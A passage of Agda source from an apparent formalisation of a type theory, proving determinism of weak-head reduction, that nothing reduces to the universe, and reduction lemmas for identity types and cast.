whrDetTerm (cast-subst d x x₁ x₂) (cast-ℕ-cong x₃ d′) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-ℕ-subst d x x₁) (cast-ℕ-cong x₂ d′) = ⊥-elim (whnfRedTerm d ℕₙ)
whrDetTerm (cast-ℕ-0 x) (cast-ℕ-cong x₁ d′) = ⊥-elim (whnfRedTerm d′ zeroₙ)
whrDetTerm (cast-ℕ-S x x₁) (cast-ℕ-cong x₂ d′) = ⊥-elim (whnfRedTerm d′ sucₙ)
whrDetTerm (cast-ℕ-cong x d) (cast-ℕ-0 x₁) = ⊥-elim (whnfRedTerm d zeroₙ)
whrDetTerm (cast-ℕ-cong x d) (cast-ℕ-S x₁ x₂) = ⊥-elim (whnfRedTerm d sucₙ)
{-# CATCHALL #-}
whrDetTerm d (conv d′ x₁) = whrDetTerm d d′
whrDet (univ x) (univ x₁) = whrDetTerm x x₁
whrDet↘Term : ∀{Γ t u A l u′} (d : Γ ⊢ t ↘ u ∷ A ^ l) (d′ : Γ ⊢ t ⇒* u′ ∷ A ^ l)
→ Γ ⊢ u′ ⇒* u ∷ A ^ l
whrDet↘Term (proj₁ , proj₂) (id x) = proj₁
whrDet↘Term (id x , proj₂) (x₁ ⇨ d′) = ⊥-elim (whnfRedTerm x₁ proj₂)
whrDet↘Term (x ⇨ proj₁ , proj₂) (x₁ ⇨ d′) =
whrDet↘Term (PE.subst (λ x₂ → _ ⊢ x₂ ↘ _ ∷ _ ^ _) (whrDetTerm x x₁) (proj₁ , proj₂)) d′
whrDet*Term : ∀{Γ t u A A' l u′ } (d : Γ ⊢ t ↘ u ∷ A ^ l) (d′ : Γ ⊢ t ↘ u′ ∷ A' ^ l) → u PE.≡ u′
whrDet*Term (id x , proj₂) (id x₁ , proj₄) = PE.refl
whrDet*Term (id x , proj₂) (x₁ ⇨ proj₃ , proj₄) = ⊥-elim (whnfRedTerm x₁ proj₂)
whrDet*Term (x ⇨ proj₁ , proj₂) (id x₁ , proj₄) = ⊥-elim (whnfRedTerm x proj₄)
whrDet*Term (x ⇨ proj₁ , proj₂) (x₁ ⇨ proj₃ , proj₄) =
whrDet*Term (proj₁ , proj₂) (PE.subst (λ x₂ → _ ⊢ x₂ ↘ _ ∷ _ ^ _)
(whrDetTerm x₁ x) (proj₃ , proj₄))
whrDet* : ∀{Γ A B B′ r r'} (d : Γ ⊢ A ↘ B ^ r) (d′ : Γ ⊢ A ↘ B′ ^ r') → B PE.≡ B′
whrDet* (id x , proj₂) (id x₁ , proj₄) = PE.refl
whrDet* (id x , proj₂) (x₁ ⇨ proj₃ , proj₄) = ⊥-elim (whnfRed x₁ proj₂)
whrDet* (x ⇨ proj₁ , proj₂) (id x₁ , proj₄) = ⊥-elim (whnfRed x proj₄)
whrDet* (A⇒A′ ⇨ A′⇒*B , whnfB) (A⇒A″ ⇨ A″⇒*B′ , whnfB′) =
whrDet* (A′⇒*B , whnfB) (PE.subst (λ x → _ ⊢ x ↘ _ ^ _ )
(whrDet A⇒A″ A⇒A′)
(A″⇒*B′ , whnfB′))
-- Identity of syntactic reduction
idRed:*: : ∀ {Γ A r} → Γ ⊢ A ^ r → Γ ⊢ A :⇒*: A ^ r
idRed:*: A = [[ A , A , id A ]]
idRedTerm:*: : ∀ {Γ A l t} → Γ ⊢ t ∷ A ^ [ ! , l ] → Γ ⊢ t :⇒*: t ∷ A ^ l
idRedTerm:*: t = [[ t , t , id t ]]
-- U cannot be a term
UnotInA : ∀ {A Γ r r'} → Γ ⊢ (Univ r ¹) ∷ A ^ r' → ⊥
UnotInA (conv U∷U x) = UnotInA U∷U
UnotInA[t] : ∀ {A B t a Γ r r' r'' r'''}
→ t [ a ] PE.≡ (Univ r ¹)
→ Γ ⊢ a ∷ A ^ r'
→ Γ ∙ A ^ r'' ⊢ t ∷ B ^ r'''
→ ⊥
UnotInA[t] () x₁ (univ 0<1 x₂)
UnotInA[t] () x₁ (ℕⱼ x₂)
UnotInA[t] () x₁ (Emptyⱼ x₂)
UnotInA[t] () x₁ (Πⱼ _ ▹ _ ▹ x₂ ▹ x₃)
UnotInA[t] x₁ x₂ (var x₃ here) rewrite x₁ = UnotInA x₂
UnotInA[t] () x₂ (var x₃ (there x₄))
UnotInA[t] () x₁ (lamⱼ _ _ x₂ x₃)
UnotInA[t] () x₁ (x₂ ∘ⱼ x₃)
UnotInA[t] () x₁ (zeroⱼ x₂)
UnotInA[t] () x₁ (sucⱼ x₂)
UnotInA[t] () x₁ (natrecⱼ x₂ x₃ x₄ x₅)
UnotInA[t] () x₁ (Emptyrecⱼ x₂ x₃)
UnotInA[t] x x₁ (conv x₂ x₃) = UnotInA[t] x x₁ x₂
redU*Term′ : ∀ {A B U′ l Γ r} → U′ PE.≡ (Univ r ¹) → Γ ⊢ A ⇒ U′ ∷ B ^ l → ⊥
redU*Term′ U′≡U (conv A⇒U x) = redU*Term′ U′≡U A⇒U
redU*Term′ () (app-subst A⇒U x)
redU*Term′ U′≡U (β-red _ _ x x₁ x₂) = UnotInA[t] U′≡U x₂ x₁
redU*Term′ () (natrec-subst x x₁ x₂ A⇒U)
redU*Term′ U′≡U (natrec-zero x x₁ x₂) rewrite U′≡U = UnotInA x₁
redU*Term′ () (natrec-suc x x₁ x₂ x₃)
redU*Term : ∀ {A B l Γ r} → Γ ⊢ A ⇒* (Univ r ¹) ∷ B ^ l → ⊥
redU*Term (id x) = UnotInA x
redU*Term (x ⇨ A⇒*U) = redU*Term A⇒*U
-- Nothing reduces to U
redU : ∀ {A Γ r l } → Γ ⊢ A ⇒ (Univ r ¹) ^ [ ! , l ] → ⊥
redU (univ x) = redU*Term′ PE.refl x
redU* : ∀ {A Γ r l } → Γ ⊢ A ⇒* (Univ r ¹) ^ [ ! , l ] → A PE.≡ (Univ r ¹)
redU* (id x) = PE.refl
redU* (x ⇨ A⇒*U) rewrite redU* A⇒*U = ⊥-elim (redU x)
-- convertibility for irrelevant terms implies typing
typeInversion : ∀ {t u A l Γ} → Γ ⊢ t ≡ u ∷ A ^ [ % , l ] → Γ ⊢ t ∷ A ^ [ % , l ]
typeInversion (conv X x) = let d = typeInversion X in conv d x
typeInversion (proof-irrelevance x x₁) = x
-- general version of reflexivity, symmetry and transitivity
genRefl : ∀ {A Γ t r l } → Γ ⊢ t ∷ A ^ [ r , l ] → Γ ⊢ t ≡ t ∷ A ^ [ r , l ]
genRefl {r = !} d = refl d
genRefl {r = %} d = proof-irrelevance d d
-- Judgmental instance of the equality relation
genSym : ∀ {k l A Γ r lA } → Γ ⊢ k ≡ l ∷ A ^ [ r , lA ] → Γ ⊢ l ≡ k ∷ A ^ [ r , lA ]
genSym {r = !} = sym
genSym {r = %} (proof-irrelevance x x₁) = proof-irrelevance x₁ x
genSym {r = %} (conv x x₁) = conv (genSym x) x₁
genTrans : ∀ {k l m A r Γ lA } → Γ ⊢ k ≡ l ∷ A ^ [ r , lA ] → Γ ⊢ l ≡ m ∷ A ^ [ r , lA ] → Γ ⊢ k ≡ m ∷ A ^ [ r , lA ]
genTrans {r = !} = trans
genTrans {r = %} (conv X x) (conv Y x₁) = conv (genTrans X (conv Y (trans x₁ (sym x)))) x
genTrans {r = %} (conv X x) (proof-irrelevance x₁ x₂) = proof-irrelevance (conv (typeInversion X) x) x₂
genTrans {r = %} (proof-irrelevance x x₁) (conv Y x₂) = proof-irrelevance x (conv (typeInversion (genSym Y)) x₂)
genTrans {r = %} (proof-irrelevance x x₁) (proof-irrelevance x₂ x₃) = proof-irrelevance x x₃
genVar : ∀ {x A Γ r l } → Γ ⊢ var x ∷ A ^ [ r , l ] → Γ ⊢ var x ≡ var x ∷ A ^ [ r , l ]
genVar {r = !} = refl
genVar {r = %} d = proof-irrelevance d d
toLevelInj : ∀ {l₁ l₁′ : TypeLevel} {l<₁ : l₁′ <∞ l₁} {l₂ l₂′ : TypeLevel} {l<₂ : l₂′ <∞ l₂} →
toLevel l₁′ PE.≡ toLevel l₂′ → l₁′ PE.≡ l₂′
toLevelInj {.(ι ¹)} {.(ι ⁰)} {emb<} {.(ι ¹)} {.(ι ⁰)} {emb<} e = PE.refl
toLevelInj {.∞} {.(ι ¹)} {∞<} {.(ι ¹)} {.(ι ⁰)} {emb<} ()
toLevelInj {.∞} {.(ι ¹)} {∞<} {.∞} {.(ι ¹)} {∞<} e = PE.refl
redSProp′ : ∀ {Γ A B l}
(D : Γ ⊢ A ⇒* B ∷ SProp l ^ next l )
→ Γ ⊢ A ⇒* B ^ [ % , ι l ]
redSProp′ (id x) = id (univ x)
redSProp′ (x ⇨ D) = univ x ⇨ redSProp′ D
redSProp : ∀ {Γ A B l}
(D : Γ ⊢ A :⇒*: B ∷ SProp l ^ next l )
→ Γ ⊢ A :⇒*: B ^ [ % , ι l ]
redSProp [[ ⊢t , ⊢u , d ]] = [[ (univ ⊢t) , (univ ⊢u) , redSProp′ d ]]
un-univ : ∀ {A r Γ l} → Γ ⊢ A ^ [ r , ι l ] → Γ ⊢ A ∷ Univ r l ^ [ ! , next l ]
un-univ (univ x) = x
un-univ≡ : ∀ {A B r Γ l} → Γ ⊢ A ≡ B ^ [ r , ι l ] → Γ ⊢ A ≡ B ∷ Univ r l ^ [ ! , next l ]
un-univ≡ (univ x) = x
un-univ≡ (refl x) = refl (un-univ x)
un-univ≡ (sym X) = sym (un-univ≡ X)
un-univ≡ (trans X Y) = trans (un-univ≡ X) (un-univ≡ Y)
univ-gen : ∀ {r Γ l} → (⊢Γ : ⊢ Γ) → Γ ⊢ Univ r l ^ [ ! , next l ]
univ-gen {l = ⁰} ⊢Γ = univ (univ 0<1 ⊢Γ )
univ-gen {l = ¹} ⊢Γ = Uⱼ ⊢Γ
un-univ⇒ : ∀ {l Γ A B r} → Γ ⊢ A ⇒ B ^ [ r , ι l ] → Γ ⊢ A ⇒ B ∷ Univ r l ^ next l
un-univ⇒ (univ x) = x
univ⇒* : ∀ {l Γ A B r} → Γ ⊢ A ⇒* B ∷ Univ r l ^ next l → Γ ⊢ A ⇒* B ^ [ r , ι l ]
univ⇒* (id x) = id (univ x)
univ⇒* (x ⇨ D) = univ x ⇨ univ⇒* D
un-univ⇒* : ∀ {l Γ A B r} → Γ ⊢ A ⇒* B ^ [ r , ι l ] → Γ ⊢ A ⇒* B ∷ Univ r l ^ next l
un-univ⇒* (id x) = id (un-univ x)
un-univ⇒* (x ⇨ D) = un-univ⇒ x ⇨ un-univ⇒* D
univ:⇒*: : ∀ {l Γ A B r} → Γ ⊢ A :⇒*: B ∷ Univ r l ^ next l → Γ ⊢ A :⇒*: B ^ [ r , ι l ]
univ:⇒*: [[ ⊢A , ⊢B , D ]] = [[ (univ ⊢A) , (univ ⊢B) , (univ⇒* D) ]]
un-univ:⇒*: : ∀ {l Γ A B r} → Γ ⊢ A :⇒*: B ^ [ r , ι l ] → Γ ⊢ A :⇒*: B ∷ Univ r l ^ next l
un-univ:⇒*: [[ ⊢A , ⊢B , D ]] = [[ (un-univ ⊢A) , (un-univ ⊢B) , (un-univ⇒* D) ]]
IdRed*Term′ : ∀ {Γ A B t u l}
(⊢t : Γ ⊢ t ∷ A ^ [ ! , ι l ])
(⊢u : Γ ⊢ u ∷ A ^ [ ! , ι l ])
(D : Γ ⊢ A ⇒* B ^ [ ! , ι l ])
→ Γ ⊢ Id A t u ⇒* Id B t u ∷ SProp l ^ next l
IdRed*Term′ ⊢t ⊢u (id (univ ⊢A)) = id (Idⱼ ⊢A ⊢t ⊢u)
IdRed*Term′ ⊢t ⊢u (univ d ⇨ D) = Id-subst d ⊢t ⊢u ⇨ IdRed*Term′ (conv ⊢t (subset (univ d))) (conv ⊢u (subset (univ d))) D
IdRed*Term : ∀ {Γ A B t u l}
(⊢t : Γ ⊢ t ∷ A ^ [ ! , ι l ])
(⊢u : Γ ⊢ u ∷ A ^ [ ! , ι l ])
(D : Γ ⊢ A :⇒*: B ^ [ ! , ι l ])
→ Γ ⊢ Id A t u :⇒*: Id B t u ∷ SProp l ^ next l
IdRed*Term {Γ} {A} {B} ⊢t ⊢u [[ univ ⊢A , univ ⊢B , D ]] =
[[ Idⱼ ⊢A ⊢t ⊢u , Idⱼ ⊢B (conv ⊢t (subset* D)) (conv ⊢u (subset* D)) ,
IdRed*Term′ ⊢t ⊢u D ]]
IdRed* : ∀ {Γ A B t u l}
(⊢t : Γ ⊢ t ∷ A ^ [ ! , ι l ])
(⊢u : Γ ⊢ u ∷ A ^ [ ! , ι l ])
(D : Γ ⊢ A ⇒* B ^ [ ! , ι l ])
→ Γ ⊢ Id A t u ⇒* Id B t u ^ [ % , ι l ]
IdRed* ⊢t ⊢u (id ⊢A) = id (univ (Idⱼ (un-univ ⊢A) ⊢t ⊢u))
IdRed* ⊢t ⊢u (d ⇨ D) = univ (Id-subst (un-univ⇒ d) ⊢t ⊢u) ⇨ IdRed* (conv ⊢t (subset d)) (conv ⊢u (subset d)) D
CastRed*Term′ : ∀ {Γ A B X e t}
(⊢X : Γ ⊢ X ^ [ ! , ι ⁰ ])
(⊢e : Γ ⊢ e ∷ Id (U ⁰) A X ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ A ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A ⇒* B ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ A X e t ⇒* cast ⁰ B X e t ∷ X ^ ι ⁰
CastRed*Term′ (univ ⊢X) ⊢e ⊢t (id (univ ⊢A)) = id (castⱼ ⊢A ⊢X ⊢e ⊢t)
CastRed*Term′ (univ ⊢X) ⊢e ⊢t (univ d ⇨ D) = cast-subst d ⊢X ⊢e ⊢t ⇨
CastRed*Term′ (univ ⊢X) (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wfTerm ⊢t))) (subsetTerm d) (refl ⊢X)) )) (conv ⊢t (subset (univ d))) D
CastRed*Term : ∀ {Γ A B X t e}
(⊢X : Γ ⊢ X ^ [ ! , ι ⁰ ])
(⊢e : Γ ⊢ e ∷ Id (U ⁰) A X ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ A ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A :⇒*: B ∷ U ⁰ ^ next ⁰)
→ Γ ⊢ cast ⁰ A X e t :⇒*: cast ⁰ B X e t ∷ X ^ ι ⁰
CastRed*Term {Γ} {A} {B} (univ ⊢X) ⊢e ⊢t [[ ⊢A , ⊢B , D ]] =
[[ castⱼ ⊢A ⊢X ⊢e ⊢t , castⱼ ⊢B ⊢X (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wfTerm ⊢t))) (subset*Term D) (refl ⊢X)) )) (conv ⊢t (univ (subset*Term D))) ,
CastRed*Term′ (univ ⊢X) ⊢e ⊢t (univ* D) ]]
CastRed*Termℕ′ : ∀ {Γ A B e t}
(⊢e : Γ ⊢ e ∷ Id (U ⁰) ℕ A ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ ℕ ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A ⇒* B ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ ℕ A e t ⇒* cast ⁰ ℕ B e t ∷ A ^ ι ⁰
CastRed*Termℕ′ ⊢e ⊢t (id (univ ⊢A)) = id (castⱼ (ℕⱼ (wfTerm ⊢A)) ⊢A ⊢e ⊢t)
CastRed*Termℕ′ ⊢e ⊢t (univ d ⇨ D) = cast-ℕ-subst d ⊢e ⊢t ⇨
conv* (CastRed*Termℕ′ (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wfTerm ⊢e))) (refl (ℕⱼ (wfTerm ⊢e))) (subsetTerm d))) ) ⊢t D)
(sym (subset (univ d)))
CastRed*Termℕ : ∀ {Γ A B e t}
(⊢e : Γ ⊢ e ∷ Id (U ⁰) ℕ A ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ ℕ ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A :⇒*: B ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ ℕ A e t :⇒*: cast ⁰ ℕ B e t ∷ A ^ ι ⁰
CastRed*Termℕ ⊢e ⊢t [[ ⊢A , ⊢B , D ]] =
[[ castⱼ (ℕⱼ (wfTerm ⊢e)) (un-univ ⊢A) ⊢e ⊢t ,
conv (castⱼ (ℕⱼ (wfTerm ⊢e)) (un-univ ⊢B) (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wfTerm ⊢e))) (refl (ℕⱼ (wfTerm ⊢e))) (subset*Term (un-univ⇒* D))))) ⊢t) (sym (subset* D)) ,
CastRed*Termℕ′ ⊢e ⊢t D ]]
CastRed*Termℕℕ′ : ∀ {Γ e t u}
(⊢e : Γ ⊢ e ∷ Id (U ⁰) ℕ ℕ ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ⇒* u ∷ ℕ ^ ι ⁰ )
→ Γ ⊢ cast ⁰ ℕ ℕ e t ⇒* cast ⁰ ℕ ℕ e u ∷ ℕ ^ ι ⁰
CastRed*Termℕℕ′ ⊢e (id ⊢t) = id (castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e ⊢t)
CastRed*Termℕℕ′ ⊢e (d ⇨ D) = cast-ℕ-cong ⊢e d ⇨ CastRed*Termℕℕ′ ⊢e D
CastRed*Termℕℕ : ∀ {Γ e t u}
(⊢e : Γ ⊢ e ∷ Id (U ⁰) ℕ ℕ ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t :⇒*: u ∷ ℕ ^ ι ⁰ )
→ Γ ⊢ cast ⁰ ℕ ℕ e t :⇒*: cast ⁰ ℕ ℕ e u ∷ ℕ ^ ι ⁰
CastRed*Termℕℕ ⊢e [[ ⊢t , ⊢u , D ]] =
[[ castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e ⊢t ,
castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e ⊢u ,
CastRed*Termℕℕ′ ⊢e D ]]
CastRed*Termℕsuc : ∀ {Γ e n}
(⊢e : Γ ⊢ e ∷ Id (U ⁰) ℕ ℕ ^ [ % , next ⁰ ])
(⊢n : Γ ⊢ n ∷ ℕ ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ ℕ ℕ e (suc n) :⇒*: suc (cast ⁰ ℕ ℕ e n) ∷ ℕ ^ ι ⁰
CastRed*Termℕsuc ⊢e ⊢n =
[[ castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e (sucⱼ ⊢n) ,
sucⱼ (castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e ⊢n) ,
cast-ℕ-S ⊢e ⊢n ⇨ id (sucⱼ (castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e ⊢n)) ]]
CastRed*Termℕzero : ∀ {Γ e}
(⊢e : Γ ⊢ e ∷ Id (U ⁰) ℕ ℕ ^ [ % , next ⁰ ])
→ Γ ⊢ cast ⁰ ℕ ℕ e zero :⇒*: zero ∷ ℕ ^ ι ⁰
CastRed*Termℕzero ⊢e =
[[ castⱼ (ℕⱼ (wfTerm ⊢e)) (ℕⱼ (wfTerm ⊢e)) ⊢e (zeroⱼ (wfTerm ⊢e)) ,
zeroⱼ (wfTerm ⊢e) ,
cast-ℕ-0 ⊢e ⇨ id (zeroⱼ (wfTerm ⊢e)) ]]
CastRed*TermΠ′ : ∀ {Γ F rF G A B e t}
(⊢F : Γ ⊢ F ∷ (Univ rF ⁰) ^ [ ! , next ⁰ ])
(⊢G : Γ ∙ F ^ [ rF , ι ⁰ ] ⊢ G ∷ U ⁰ ^ [ ! , next ⁰ ])
(⊢e : Γ ⊢ e ∷ Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) A ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A ⇒* B ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) A e t ⇒* cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) B e t ∷ A ^ ι ⁰
CastRed*TermΠ′ ⊢F ⊢G ⊢e ⊢t (id (univ ⊢A)) = id (castⱼ (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ ⊢F ▹ ⊢G) ⊢A ⊢e ⊢t)
CastRed*TermΠ′ ⊢F ⊢G ⊢e ⊢t (univ d ⇨ D) = cast-Π-subst ⊢F ⊢G d ⊢e ⊢t ⇨
conv* (CastRed*TermΠ′ ⊢F ⊢G (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wfTerm ⊢e))) (refl (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ ⊢F ▹ ⊢G)) (subsetTerm d))) ) ⊢t D)
(sym (subset (univ d)))
CastRed*TermΠ : ∀ {Γ F rF G A B e t}
(⊢F : Γ ⊢ F ∷ (Univ rF ⁰) ^ [ ! , next ⁰ ])
(⊢G : Γ ∙ F ^ [ rF , ι ⁰ ] ⊢ G ∷ U ⁰ ^ [ ! , next ⁰ ])
(⊢e : Γ ⊢ e ∷ Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) A ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A :⇒*: B ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) A e t :⇒*: cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) B e t ∷ A ^ ι ⁰
CastRed*TermΠ ⊢F ⊢G ⊢e ⊢t [[ ⊢A , ⊢B , D ]] =
let [Π] = Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ ⊢F ▹ ⊢G
in [[ castⱼ [Π] (un-univ ⊢A) ⊢e ⊢t ,
conv (castⱼ [Π] (un-univ ⊢B) (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wfTerm ⊢e))) (refl [Π]) (subset*Term (un-univ⇒* D))))) ⊢t) (sym (subset* D)) ,
CastRed*TermΠ′ ⊢F ⊢G ⊢e ⊢t D ]]
IdURed*Term′ : ∀ {Γ t t′ u}
(⊢t : Γ ⊢ t ∷ U ⁰ ^ [ ! , ι ¹ ])
(⊢t′ : Γ ⊢ t′ ∷ U ⁰ ^ [ ! , ι ¹ ])
(d : Γ ⊢ t ⇒* t′ ∷ U ⁰ ^ ι ¹)
(⊢u : Γ ⊢ u ∷ U ⁰ ^ [ ! , ι ¹ ])
→ Γ ⊢ Id (U ⁰) t u ⇒* Id (U ⁰) t′ u ∷ SProp ¹ ^ ∞
IdURed*Term′ ⊢t ⊢t′ (id x) ⊢u = id (Idⱼ (univ 0<1 (wfTerm ⊢t)) ⊢t ⊢u)
IdURed*Term′ ⊢t ⊢t′ (x ⇨ d) ⊢u = _⇨_ (Id-U-subst x ⊢u) (IdURed*Term′ (redFirst*Term d) ⊢t′ d ⊢u)
IdURed*Term : ∀ {Γ t t′ u}
(d : Γ ⊢ t :⇒*: t′ ∷ U ⁰ ^ ι ¹)
(⊢u : Γ ⊢ u ∷ U ⁰ ^ [ ! , ι ¹ ])
→ Γ ⊢ Id (U ⁰) t u :⇒*: Id (U ⁰) t′ u ∷ SProp ¹ ^ ∞
IdURed*Term [[ ⊢t , ⊢t′ , d ]] ⊢u = [[ Idⱼ (univ 0<1 (wfTerm ⊢u)) ⊢t ⊢u , Idⱼ (univ 0<1 (wfTerm ⊢u)) ⊢t′ ⊢u , IdURed*Term′ ⊢t ⊢t′ d ⊢u ]]
IdUΠRed*Term′ : ∀ {Γ F rF G t t′}
(⊢F : Γ ⊢ F ∷ Univ rF ⁰ ^ [ ! , ι ¹ ])
(⊢G : Γ ∙ F ^ [ rF , ι ⁰ ] ⊢ G ∷ U ⁰ ^ [ ! , ι ¹ ])
(⊢t : Γ ⊢ t ∷ U ⁰ ^ [ ! , ι ¹ ])
(⊢t′ : Γ ⊢ t′ ∷ U ⁰ ^ [ ! , ι ¹ ])
(d : Γ ⊢ t ⇒* t′ ∷ U ⁰ ^ ι ¹)
→ Γ ⊢ Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) t ⇒* Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) t′ ∷ SProp ¹ ^ ∞
IdUΠRed*Term′ ⊢F ⊢G ⊢t ⊢t′ (id x) = id (Idⱼ (univ 0<1 (wfTerm ⊢t)) (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ ⊢F ▹ ⊢G) ⊢t)
IdUΠRed*Term′ ⊢F ⊢G ⊢t ⊢t′ (x ⇨ d) = _⇨_ (Id-U-Π-subst ⊢F ⊢G x) (IdUΠRed*Term′ ⊢F ⊢G (redFirst*Term d) ⊢t′ d)
IdUΠRed*Term : ∀ {Γ F rF G t t′}
(⊢F : Γ ⊢ F ∷ Univ rF ⁰ ^ [ ! , ι ¹ ])
(⊢G : Γ ∙ F ^ [ rF , ι ⁰ ] ⊢ G ∷ U ⁰ ^ [ ! , ι ¹ ])
(d : Γ ⊢ t :⇒*: t′ ∷ U ⁰ ^ ι ¹)
→ Γ ⊢ Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) t :⇒*: Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) t′ ∷ SProp ¹ ^ ∞
IdUΠRed*Term ⊢F ⊢G [[ ⊢t , ⊢t′ , d ]] = [[ Idⱼ (univ 0<1 (wfTerm ⊢t)) (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ ⊢F ▹ ⊢G) ⊢t ,
Idⱼ (univ 0<1 (wfTerm ⊢t)) (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ ⊢F ▹ ⊢G) ⊢t′ ,
IdUΠRed*Term′ ⊢F ⊢G ⊢t ⊢t′ d ]]
IdℕRed*Term′ : ∀ {Γ t t′ u}
(⊢t : Γ ⊢ t ∷ ℕ ^ [ ! , ι ⁰ ])
(⊢t′ : Γ ⊢ t′ ∷ ℕ ^ [ ! , ι ⁰ ])
(d : Γ ⊢ t ⇒* t′ ∷ ℕ ^ ι ⁰)
(⊢u : Γ ⊢ u ∷ ℕ ^ [ ! , ι ⁰ ])
→ Γ ⊢ Id ℕ t u ⇒* Id ℕ t′ u ∷ SProp ⁰ ^ next ⁰
IdℕRed*Term′ ⊢t ⊢t′ (id x) ⊢u = id (Idⱼ (ℕⱼ (wfTerm ⊢u)) ⊢t ⊢u)
IdℕRed*Term′ ⊢t ⊢t′ (x ⇨ d) ⊢u = _⇨_ (Id-ℕ-subst x ⊢u) (IdℕRed*Term′ (redFirst*Term d) ⊢t′ d ⊢u)
Idℕ0Red*Term′ : ∀ {Γ t t′}
(⊢t : Γ ⊢ t ∷ ℕ ^ [ ! , ι ⁰ ])
(⊢t′ : Γ ⊢ t′ ∷ ℕ ^ [ ! , ι ⁰ ])
(d : Γ ⊢ t ⇒* t′ ∷ ℕ ^ ι ⁰)
→ Γ ⊢ Id ℕ zero t ⇒* Id ℕ zero t′ ∷ SProp ⁰ ^ next ⁰
Idℕ0Red*Term′ ⊢t ⊢t′ (id x) = id (Idⱼ (ℕⱼ (wfTerm ⊢t)) (zeroⱼ (wfTerm ⊢t)) ⊢t)
Idℕ0Red*Term′ ⊢t ⊢t′ (x ⇨ d) = Id-ℕ-0-subst x ⇨ Idℕ0Red*Term′ (redFirst*Term d) ⊢t′ d
IdℕSRed*Term′ : ∀ {Γ t u u′}
(⊢t : Γ ⊢ t ∷ ℕ ^ [ ! , ι ⁰ ])
(⊢u : Γ ⊢ u ∷ ℕ ^ [ ! , ι ⁰ ])
(⊢u′ : Γ ⊢ u′ ∷ ℕ ^ [ ! , ι ⁰ ])
(d : Γ ⊢ u ⇒* u′ ∷ ℕ ^ ι ⁰)
→ Γ ⊢ Id ℕ (suc t) u ⇒* Id ℕ (suc t) u′ ∷ SProp ⁰ ^ next ⁰
IdℕSRed*Term′ ⊢t ⊢u ⊢u′ (id x) = id (Idⱼ (ℕⱼ (wfTerm ⊢t)) (sucⱼ ⊢t) ⊢u)
IdℕSRed*Term′ ⊢t ⊢u ⊢u′ (x ⇨ d) = Id-ℕ-S-subst ⊢t x ⇨ IdℕSRed*Term′ ⊢t (redFirst*Term d) ⊢u′ d
IdUℕRed*Term′ : ∀ {Γ t t′}
(⊢t : Γ ⊢ t ∷ U ⁰ ^ [ ! , ι ¹ ])
(⊢t′ : Γ ⊢ t′ ∷ U ⁰ ^ [ ! , ι ¹ ])
(d : Γ ⊢ t ⇒* t′ ∷ U ⁰ ^ ι ¹)
→ Γ ⊢ Id (U ⁰) ℕ t ⇒* Id (U ⁰) ℕ t′ ∷ SProp ¹ ^ ∞
IdUℕRed*Term′ ⊢t ⊢t′ (id x) = id (Idⱼ (univ 0<1 (wfTerm ⊢t)) (ℕⱼ (wfTerm ⊢t) ) ⊢t)
IdUℕRed*Term′ ⊢t ⊢t′ (x ⇨ d) = _⇨_ (Id-U-ℕ-subst x) (IdUℕRed*Term′ (redFirst*Term d) ⊢t′ d)
IdUℕRed*Term : ∀ {Γ t t′}
